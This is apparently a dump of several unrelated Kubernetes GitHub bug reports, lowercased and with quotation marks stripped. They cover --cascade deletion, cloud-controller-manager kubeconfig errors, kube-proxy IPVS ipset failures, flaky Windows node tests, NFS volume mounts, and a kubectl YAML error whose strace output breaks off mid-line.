use  kubectl version  : v1.8.1+coreos.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : container linux by coreos 1548.2.0  ladybug \r - kernel  e.g.  uname -a  : 4.13.5-coreos-r2\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when using  --cascade false  flag while deleting the deployment, it still deleted the replicaset and the pods associated with the deployment.\r \r   what you expected to happen  :\r \r when that flag is applied it should only delete the deployment and leave everything else as it is.\r \r   how to reproduce it  :\r \r    console\r $ kubectl run web --image centos/httpd\r deployment \ web\  created\r \r $ kubectl get pods\r name                 ready     status              restarts   age\r web-b75668b7-sh825   0/1       containercreating   0          3s\r \r \r $ kubectl delete deploy web --cascade false\r deployment \ web\  deleted\r error from server  notfound : deployments.extensions \ false\  not found    <----- error \r \r \r $ kubectl get pods\r name                 ready     status        restarts   age\r web-b75668b7-sh825   0/1       terminating   0          27s\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r \r    console\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r    console\r $ minikube version\r minikube version: v0.24.1\r    \r \r - os:\r \r on host:\r \r    console\r $ cat /etc/redhat-release \r fedora release 25  twenty five \r    \r \r inside vm:\r \r    console\r $ cat /etc/os-release \r name=buildroot\r version=2017.02\r id=buildroot\r version_id=2017.02\r pretty_name=\ buildroot 2017.02\ \r    \r \r - kernel  e.g.  uname -a  :\r \r on host\r \r    console\r $ uname -a\r linux foobar 4.11.6-201.fc25.x86_64  1 smp tue jun 20 20:21:11 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r in vm\r \r    console\r $ uname -a\r linux minikube 4.9.13  1 smp thu oct 19 17:14:00 utc 2017 x86_64 gnu/linux\r    \r \r - others:\r \r started minikube as:\r \r    console\r minikube start \\\r      --network-plugin=cni \\\r      --extra-config=kubelet.container-runtime=remote \\\r      --extra-config=kubelet.container-runtime-endpoint=/var/run/crio.sock \\\r      --extra-config=kubelet.image-service-endpoint=/var/run/crio.sock --cpus=4 --memory 6000 --vm-driver=kvm \\\r      --bootstrapper=kubeadm\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >   \r   what happened  :\r    \r {\ log\ :\ stat /etc/kubernetes/admin.conf: no such file or directory\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-07-13t20:35:25.790852755z\ }\r    \r \r trying to run cloud-controller-manager and setting the --kubeconfig and file is never found\r \r   what you expected to happen  :\r file is found and data processed\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: apps/v1\r kind: daemonset\r metadata:\r   labels:\r     k8s-app: cloud-controller-manager\r   name: cloud-controller-manager\r   namespace: kube-system\r spec:\r   selector:\r     matchlabels:\r       k8s-app: cloud-controller-manager\r   template:\r     metadata:\r       labels:\r         k8s-app: cloud-controller-manager\r     spec:\r       serviceaccountname: cloud-controller-manager\r       containers:\r       - name: cloud-controller-manager\r           for in-tree providers we use k8s.gcr.io/cloud-controller-manager\r           this can be replaced with any other image for out-of-tree providers\r         image: k8s.gcr.io/cloud-controller-manager:v1.11.0\r         command:\r         - /usr/local/bin/cloud-controller-manager\r         - --cloud-provider=aws\r         - --leader-elect=true\r         - --use-service-account-credentials\r           these flags will vary for every cloud provider\r         - --allocate-node-cidrs=true\r         - --configure-cloud-routes=true\r         - --cluster-cidr=10.15.74.0/24\r         - --kubeconfig=/etc/kubernetes/admin.conf\r         - --cert-dir=/etc/kubernetes/pki\r       tolerations:\r         this is required so ccm can bootstrap itself\r       - key: node.cloudprovider.kubernetes.io/uninitialized\r         value: \ true\ \r         effect: noschedule\r         this is to have the daemonset runnable on master nodes\r         the taint may vary depending on your cluster setup\r       - key: node-role.kubernetes.io/master\r         effect: noschedule\r         this is to restrict ccm to only run on master nodes\r         the node selector may vary depending on your cluster setup\r       nodeselector:\r         node-role.kubernetes.io/master: \ \ \r    \r \r   anything else we need to know?  :\r  root@ip-10-15-74-86 ~   ls /etc/kubernetes/\r admin.conf  controller-manager.conf  kubeadm-config.yaml  kubeadm-config.yaml.j2  kubelet.conf  manifests  pki  scheduler.conf\r \r no matter the location, always fails\r \r   environment  :\r    \r  root@ip-10-15-74-86 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@ip-10-15-74-86 ~   cat /etc/os-release\r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.5\ \r pretty_name=\ red hat enterprise linux server 7.5  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.5:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.5\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.5\ \r  root@ip-10-15-74-86 ~   uname -a\r linux ip-10-15-74-86.us-west-2.compute.internal 3.10.0-862.6.3.el7.x86_64  1 smp fri jun 15 17:57:37 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r  root@ip-10-15-74-86 ~   kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:14:41z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r aws\r \r

is this a bug report or feature request?  :\r \r   /area kube-proxy\r /area ipvs\r \r   what happened  :\r kube-proxy not working in ipvs mode in kubernetes version 1.11.3.\r \r   what you expected to happen  :\r kube-proxy working in ipvs mode in centos 7.\r \r   how to reproduce it  as minimally and precisely as possible   :\r initialize kubernetes using kubeadm init command.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  root@k8s-master ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r bare metal installation  vm .\r \r  root@k8s-master ~   cat /proc/cpuinfo\r processor       : 0\r vendor_id       : genuineintel\r cpu family      : 6\r model           : 79\r model name      : intel r  xeon r  cpu e5-2620 v4 @ 2.10ghz\r stepping        : 1\r microcode       : 0xffffffff\r cpu mhz         : 2097.552\r cache size      : 20480 kb\r physical id     : 0\r siblings        : 1\r core id         : 0\r cpu cores       : 1\r apicid          : 0\r initial apicid  : 0\r fpu             : yes\r fpu_exception   : yes\r cpuid level     : 13\r wp              : yes\r flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx lm constant_tsc rep_good nopl eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm xsaveopt\r bogomips        : 4195.10\r clflush size    : 64\r cache_alignment : 64\r address sizes   : 42 bits physical, 48 bits virtual\r power management:\r \r \r - os  e.g. from /etc/os-release :\r \r  root@k8s-master ~   rpm -q centos-release\r centos-release-7-3.1611.el7.centos.x86_64\r \r - kernel  e.g.  uname -a  :\r \r  root@k8s-master ~   uname -a\r linux k8s-master.cluster.k8.local 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r  root@k8s-master ~   ipset version\r ipset v6.29, protocol version: 6\r \r  root@k8s-master ~   ipset create foo hash:ip comment\r ipset v6.29: unknown argument:  comment'\r \r - others:\r  root@k8s-master ~   kubectl logs kube-proxy-mskxf -c kube-proxy  --namespace=kube-system\r i0921 09:46:16.614722       1 feature_gate.go:230  feature gates: &{map  }\r i0921 09:46:16.645055       1 server_others.go:183  using ipvs proxier.\r w0921 09:46:16.656609       1 proxier.go:355  ipvs scheduler not specified, use rr by default\r i0921 09:46:16.656673       1 server_others.go:210  tearing down inactive rules.\r i0921 09:46:16.697410       1 server.go:448  version: v1.11.0\r i0921 09:46:16.706371       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0921 09:46:16.706433       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i0921 09:46:16.706468       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0921 09:46:16.706512       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0921 09:46:16.709397       1 config.go:202  starting service config controller\r i0921 09:46:16.709476       1 controller_utils.go:1025  waiting for caches to sync for service config controller\r i0921 09:46:16.710610       1 config.go:102  starting endpoints config controller\r i0921 09:46:16.710734       1 controller_utils.go:1025  waiting for caches to sync for endpoints config controller\r i0921 09:46:16.810690       1 controller_utils.go:1032  caches are synced for service config controller\r i0921 09:46:16.810877       1 controller_utils.go:1032  caches are synced for endpoints config controller\r e0921 09:46:16.889058       1 ipset.go:156  failed to make sure ip set: &{{kube-cluster-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service cluster ip + port for masquerade purpose} map   0xc4202da360} exist, error: error creating ipset kube-cluster-ip, error: exit status 2\r e0921 09:46:46.734521       1 ipset.go:156  failed to make sure ip set: &{{kube-cluster-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service cluster ip + port for masquerade purpose} map   0xc4202da360} exist, error: error creating ipset kube-cluster-ip, error: exit status 2\r e0921 09:47:16.757767       1 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer-source-ip hash:ip,port,ip inet 1024 65536 0-65535 kubernetes service load balancer ip + port + source ip for packet filter purpose} map   0xc4202da360} exist, error: error creating ipset kube-load-balancer-source-ip, error: exit status 2\r e0921 09:47:46.780141       1 ipset.go:156  failed to make sure ip set: &{{kube-cluster-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service cluster ip + port for masquerade purpose} map   0xc4202da360} exist, error: error creating ipset kube-cluster-ip, error: exit status 2\r e0921 09:48:16.801422       1 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc4202da360} exist, error: error creating ipset kube-loop-back, error: exit status 2\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r n/a\r \r   which test s  are failing  :\r \r      k8s.io  pods  should cap back-off at maxcontainerbackoff  slow  nodeconformance \r      k8s.io  pods  should have their auto-restart back-off timer reset on image update  slow  nodeconformance \r \r   since when has it been failing  :\r \r unknown. tests are flaky when using windows nodes.\r \r   testgrid link  :\r \r n/a\r \r   reason for failure  :\r \r when using windows nodes, the mentioned tests might fail randomly due to the fact that windows kubelet might fail to report the new pod status before its execution finishes, causing the pod status to remain in   crashloopbackoff   state, which causes the tests to fail, since they're expecting the pod to enter a   running   state.\r \r this could be solved by increasing the pod's sleep period from 5 second to 10 seconds, allowing sufficient time for kubelet to report the new   running   state, or, instead of waiting for the   running   state to occur, the tests should wait for the   restartcount   to increase.\r \r   anything else we need to know  :\r \r  \r <!-- do not edit below this line -->\r 

what happened  :\r \r  kubectl top pods --namespace backstage  outputs error:\r \r    \r w0516 16:25:09.356872   11172 top_pod.go:190  metrics not available for pod backstage/container-name-678f95c84-qnqml, age: 1242h46m15.3568533s\r error: metrics not available for pod backstage/container-name-678f95c84-qnqml, age: 1242h46m15.3568533s\r    \r \r   environment  :\r - kubernetes version : v1.7.6, \r - cloud provider or hardware configuration: 1.11.8-gke.6\r

we seem to get a lot of questions about this and it's not clear to me whether it works at all.  http://stackoverflow.com/questions/32912699/unable-to-setup-kubernetes-against-tls-secured-etcd https://groups.google.com/d/topic/google-containers/vu2qsc_rxiw/discussion https://groups.google.com/forum/ !topic/google-containers/btfecrq3n28/discussion  etc.

https://github.com/kubernetes/kubernetes/pull/12283 issuecomment-144749186 shows an example of  a unit test failing, but the build shows go test printing \ ok\  for this suite.  also, for some reason, the error message from this test didn't appear in the junit file.  as a first step, it may be worth saving the verbose stdout for jenkins runs in _artifacts rather than throwing it away.  @kubernetes/goog-testing

over the weekend i had a pod created with a daemon set on one of my nodes fail. kubernetes kept trying to restart the pod thus creating new containers until it filled the disk space and crashed the node. how can i avoid this in the future? 3 worker nodes and 1 master node on coreos m3.medium instances on aws if it matters.

forked from https://github.com/kubernetes/kubernetes/issues/23349 issuecomment-200484407 xref feature: https://github.com/kubernetes/features/issues/83  file this umbrella issue to track the effort.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-pre-release/65/  run so broken it didn't make junit output!

i've seen this when implementing calico networkpolicy against the kubernetes api  as opposed to via calico's etcd \r \r since the pod status reporting is not synchronous with pod set up, it often takes a long time for the api to get updated with the ip address of a newly networked pod, which means that it can take multiple seconds before any networkpolicy implementation based off the k8s api learns about the new pod's assigned ip.\r \r i've seen this have an impact on 99%ile time to first connectivity being measured in _seconds_  because it takes seconds for kubelet -> apiserver -> controller to occur .\r \r a naive fix would be to write the pod status immediately after cni execution completes based on the result returned by the cni plugin  though this might have performance impacts due to increased number of writes to the api .\r \r cc @thockin @freehan @dchen1107 @wojtek-t

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r - nfs\r - persistent volume\r - persistent volume claim\r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r $ kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.2099+dbcfdb378d3818-dirty\ , gitcommit:\ dbcfdb378d3818652f5abdebfacb9908788cf559\ , gittreestate:\ dirty\ , builddate:\ 2017-04-05t20:42:55z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.2099+dbcfdb378d3818-dirty\ , gitcommit:\ dbcfdb378d3818652f5abdebfacb9908788cf559\ , gittreestate:\ dirty\ , builddate:\ 2017-04-05t20:42:55z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r - os  e.g. from /etc/os-release : fedora 25\r - kernel  e.g. uname -a : linux localhost 4.9.10-200.fc25.x86_64  1 smp wed feb 15 23:28:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: hack/local-up-cluster.sh\r \r   what happened  :\r \r when i delete a pvc using nfs plugin which is still attached to a pod,\r  - the volume was scrubbed by recycler pod if policy of pv is recycle \r  - the pvc was deleted and the status of pv was changed to \ available\ \r     unbounded from the pvc \r \r however, after deleting pvc, the nfs mount point was still exist on the kubernetes node which the pod was deployed and also the mount point could be seen from inside the pod.\r and also if other pod reuses the pv, then both old pod and new pod could access same nfs mount point.\r \r note: after deleting all pods, the nfs mount point was unmounted from the k8s node.\r \r   what you expected to happen  :\r nfs mount point was unmounted from the k8s node and also a pod when pvc is deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r - create a pv, then bound the pv to pvc.\r - create a pod with bounded pvc\r - delete the pvc without deleting the pod.\r \r   anything else we need to know  :\r

this is a bug report:\r \r reproduce steps: \r \r on centos 7 master node, i have executed the following command:\r \r kubectl get nodes\r error: yaml: line 8: mapping values are not allowed in this context\r \r please find the following environment info:\r \r  root@localhost ~   uname -a\r linux localhost.localdomain 3.10.0-229.el7.x86_64  1 smp fri mar 6 11:36:42 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r  root@localhost ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r error from server  notfound : the server could not find the requested resource\r  root@localhost ~   kubeadm version\r kubeadm version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitc\r \r \r  strace command output\r \r   strace kubectl get nodes\r execve \ /usr/bin/kubectl\ ,  \ kubectl\ , \ get\ , \ nodes\  ,  /  24 vars  /   = 0\r arch_prctl arch_set_fs, 0x2abe7c8       = 0\r sched_getaffinity 0, 8192, {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...}  = 640\r mmap 0xc000000000, 65536, prot_none, map_private|map_anonymous, -1, 0  = 0xc000000000\r munmap 0xc000000000, 65536              = 0\r mmap null, 262144, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de8a6000\r mmap 0xc420000000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420000000\r mmap 0xc41fff8000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41fff8000\r mmap 0xc000000000, 4096, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc000000000\r mmap null, 65536, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de896000\r mmap null, 65536, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de886000\r rt_sigprocmask sig_setmask, null,   , 8  = 0\r sigaltstack null, {ss_sp=0, ss_flags=ss_disable, ss_size=0}  = 0\r sigaltstack {ss_sp=0xc420002000, ss_flags=0, ss_size=32672}, null  = 0\r gettid                                  = 30957\r rt_sigprocmask sig_setmask,   , null, 8  = 0\r rt_sigaction sighup, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sighup, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigint, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigint, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigquit, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigquit, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigill, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigill, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigtrap, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigtrap, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigabrt, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigabrt, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigbus, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigbus, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigfpe, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigfpe, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigusr1, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigusr1, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigsegv, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigsegv, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigusr2, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigusr2, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigpipe, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigpipe, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigalrm, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigalrm, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigterm, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigterm, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigstkflt, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigstkflt, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigchld, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigchld, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigurg, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigurg, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigxcpu, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigxcpu, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigxfsz, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigxfsz, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigvtalrm, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigvtalrm, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigprof, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigprof, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigwinch, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigwinch, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigio, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigio, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigpwr, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigpwr, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigsys, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigsys, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrtmin, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_1, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_2, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_2, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_3, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_3, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_4, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_4, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_5, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_5, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_6, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_6, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_7, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_7, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_8, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_8, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_9, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_9, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_10, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_10, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_11, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_11, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_12, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_12, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_13, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_13, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_14, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_14, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_15, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_15, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_16, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_16, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_17, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_17, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_18, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_18, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_19, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_19, {0x45aca0, ~  , 